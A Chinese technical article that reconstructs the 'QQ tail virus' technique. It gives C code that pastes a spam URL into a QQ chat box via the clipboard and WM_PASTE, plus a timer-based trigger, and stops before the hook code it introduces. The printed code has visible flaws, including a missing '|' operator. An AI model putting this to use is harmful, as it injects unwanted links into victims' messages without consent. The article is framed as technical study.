网络安全 频道

“QQ尾巴病毒”核心技术的实现

  声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏。

  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。

 
  粘贴尾巴  首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:

  TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net";
  // 函数功能:向文本框中粘贴尾巴
  void PasteText(HWND hRich)
  {
   HGLOBAL hMem;
   LPTSTR pStr;
   // 分配内存空间
   hMem = GlobalAlloc(GHND   GMEM_SHARE, sizeof(g_str));
   pStr = GlobalLock(hMem);
   lstrcpy(pStr, g_str);
   GlobalUnlock(hMem);
   OpenClipboard(NULL);
   EmptyClipboard();
   // 设置剪贴板文本
   SetClipboardData(CF_TEXT, hMem);
   CloseClipboard();
   // 释放内存空间
   GlobalFree(hMem);
   // 粘贴文本
   SendMessage(hRich, WM_PASTE, 0, 0);
  } 钩子  好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:
  void CQQTailDlg::OnTimer(UINT nIDEvent)
  {
   PasteText(hRich);
  }

  这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……

  然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。

0
相关文章